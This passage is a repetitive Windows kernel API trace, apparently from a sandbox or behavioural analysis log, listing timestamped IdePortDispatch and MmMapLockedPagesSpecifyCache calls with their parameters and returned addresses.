IdePortDispatch () returned 0x103 [0111.553] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354d000 [0111.553] IdePortDispatch () returned 0x103 [0111.556] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003550000 [0111.556] IdePortDispatch () returned 0x103 [0111.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003567000 [0111.559] IdePortDispatch () returned 0x103 [0111.560] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003569000 [0111.560] IdePortDispatch () returned 0x103 [0111.561] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356b000 [0111.561] IdePortDispatch () returned 0x103 [0111.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356d000 [0111.562] IdePortDispatch () returned 0x103 [0111.562] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003570000 [0111.562] IdePortDispatch () returned 0x103 [0111.563] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003574000 [0111.563] IdePortDispatch () returned 0x103 [0111.567] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003579000 [0111.567] IdePortDispatch () returned 0x103 [0111.568] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357e000 [0111.568] IdePortDispatch () returned 0x103 [0111.568] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003583000 [0111.568] IdePortDispatch () returned 0x103 [0111.569] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003587000 [0111.569] IdePortDispatch () returned 0x103 [0111.571] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358a000 [0111.571] IdePortDispatch () returned 0x103 [0111.573] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358d000 [0111.573] IdePortDispatch () returned 0x103 [0111.574] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003591000 [0111.574] IdePortDispatch () returned 0x103 [0111.574] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003594000 [0111.574] IdePortDispatch () returned 0x103 [0111.576] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003597000 [0111.576] IdePortDispatch () returned 0x103 [0111.577] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359a000 [0111.577] IdePortDispatch () returned 0x103 [0111.713] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003486000 [0111.713] IdePortDispatch () returned 0x103 [0111.713] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003489000 [0111.714] IdePortDispatch () returned 0x103 [0111.714] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348c000 [0111.714] IdePortDispatch () returned 0x103 [0111.714] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348f000 [0111.714] IdePortDispatch () returned 0x103 [0111.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003493000 [0111.715] IdePortDispatch () returned 0x103 [0111.715] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003496000 [0111.715] IdePortDispatch () returned 0x103 [0111.716] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349a000 [0111.716] IdePortDispatch () returned 0x103 [0111.716] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349d000 [0111.716] IdePortDispatch () returned 0x103 [0111.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0111.719] IdePortDispatch () returned 0x103 [0111.720] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a3000 [0111.720] IdePortDispatch () returned 0x103 [0111.721] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a5000 [0111.721] IdePortDispatch () returned 0x103 [0111.722] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a8000 [0111.722] IdePortDispatch () returned 0x103 [0111.722] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ac000 [0111.722] IdePortDispatch () returned 0x103 [0111.723] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034af000 [0111.723] IdePortDispatch () returned 0x103 [0111.725] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034cc000 [0111.725] IdePortDispatch () returned 0x103 [0111.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ce000 [0111.726] IdePortDispatch () returned 0x103 [0111.728] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d0000 [0111.728] IdePortDispatch () returned 0x103 [0111.728] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d2000 [0111.728] IdePortDispatch () returned 0x103 [0111.731] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d4000 [0111.731] IdePortDispatch () returned 0x103 [0111.732] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d8000 [0111.732] IdePortDispatch () returned 0x103 [0111.733] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034db000 [0111.733] IdePortDispatch () returned 0x103 [0111.744] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034de000 [0111.745] IdePortDispatch () returned 0x103 [0111.746] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e1000 [0111.746] IdePortDispatch () returned 0x103 [0111.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e3000 [0111.747] IdePortDispatch () returned 0x103 [0111.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e6000 [0111.747] IdePortDispatch () returned 0x103 [0111.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e9000 [0111.748] IdePortDispatch () returned 0x103 [0111.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ed000 [0111.749] IdePortDispatch () returned 0x103 [0111.749] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0111.749] IdePortDispatch () returned 0x103 [0111.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9b000 [0111.807] IdePortDispatch () returned 0x103 [0111.807] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9e000 [0111.808] IdePortDispatch () returned 0x103 [0111.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da0000 [0111.809] IdePortDispatch () returned 0x103 [0111.810] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da2000 [0111.810] IdePortDispatch () returned 0x103 [0111.811] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da5000 [0111.811] IdePortDispatch () returned 0x103 [0111.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da8000 [0111.812] IdePortDispatch () returned 0x103 [0111.814] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dac000 [0111.814] IdePortDispatch () returned 0x103 [0111.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002daf000 [0111.815] IdePortDispatch () returned 0x103 [0111.815] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db2000 [0111.815] IdePortDispatch () returned 0x103 [0111.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db5000 [0111.816] IdePortDispatch () returned 0x103 [0111.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db7000 [0111.816] IdePortDispatch () returned 0x103 [0111.817] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dba000 [0111.817] IdePortDispatch () returned 0x103 [0111.817] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dbd000 [0111.817] IdePortDispatch () returned 0x103 [0111.818] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de0000 [0111.818] IdePortDispatch () returned 0x103 [0111.819] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de4000 [0111.819] IdePortDispatch () returned 0x103 [0111.821] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de7000 [0111.821] IdePortDispatch () returned 0x103 [0111.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002deb000 [0111.822] IdePortDispatch () returned 0x103 [0111.822] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0111.822] IdePortDispatch () returned 0x103 [0111.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df2000 [0111.823] IdePortDispatch () returned 0x103 [0111.823] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df5000 [0111.823] IdePortDispatch () returned 0x103 [0111.826] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002df7000 [0111.826] IdePortDispatch () returned 0x103 [0111.827] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfa000 [0111.827] IdePortDispatch () returned 0x103 [0111.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfc000 [0111.828] IdePortDispatch () returned 0x103 [0111.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfe000 [0111.828] IdePortDispatch () returned 0x103 [0111.830] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0111.830] IdePortDispatch () returned 0x103 [0111.831] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003404000 [0111.831] IdePortDispatch () returned 0x103 [0111.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003406000 [0111.832] IdePortDispatch () returned 0x103 [0111.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003408000 [0111.832] IdePortDispatch () returned 0x103 [0111.832] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800340a000 [0111.832] IdePortDispatch () returned 0x103 [0111.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800340e000 [0111.833] IdePortDispatch () returned 0x103 [0111.833] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003411000 [0111.833] IdePortDispatch () returned 0x103 [0111.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003415000 [0111.834] IdePortDispatch () returned 0x103 [0111.834] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003419000 [0111.834] IdePortDispatch () returned 0x103 [0111.835] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800341d000 [0111.835] IdePortDispatch () returned 0x103 [0111.835] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0111.835] IdePortDispatch () returned 0x103 [0111.835] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003425000 [0111.836] IdePortDispatch () returned 0x103 [0111.836] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003429000 [0111.836] IdePortDispatch () returned 0x103 [0111.836] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800342d000 [0111.836] IdePortDispatch () returned 0x103 [0111.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0111.837] IdePortDispatch () returned 0x103 [0111.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003444000 [0111.837] IdePortDispatch () returned 0x103 [0111.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003448000 [0111.838] IdePortDispatch () returned 0x103 [0111.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800344c000 [0111.838] IdePortDispatch () returned 0x103 [0111.838] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0111.838] IdePortDispatch () returned 0x103 [0111.839] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003453000 [0111.839] IdePortDispatch () returned 0x103 [0111.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003457000 [0111.841] IdePortDispatch () returned 0x103 [0111.842] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800345b000 [0111.842] IdePortDispatch () returned 0x103 [0111.846] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349b000 [0111.846] IdePortDispatch () returned 0x103 [0111.847] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349f000 [0111.847] IdePortDispatch () returned 0x103 [0111.849] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a2000 [0111.849] IdePortDispatch () returned 0x103 [0111.850] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a6000 [0111.850] IdePortDispatch () returned 0x103 [0111.855] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ae000 [0111.855] IdePortDispatch () returned 0x103 [0111.856] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b0000 [0111.856] IdePortDispatch () returned 0x103 [0111.856] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b3000 [0111.856] IdePortDispatch () returned 0x103 [0111.858] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b6000 [0111.858] IdePortDispatch () returned 0x103 [0111.860] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b8000 [0111.860] IdePortDispatch () returned 0x103 [0111.860] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bc000 [0111.860] IdePortDispatch () returned 0x103 [0111.861] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034bf000 [0111.861] IdePortDispatch () returned 0x103 [0111.862] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c1000 [0111.862] IdePortDispatch () returned 0x103 [0111.862] MmMapLockedPagesSpecifyCache 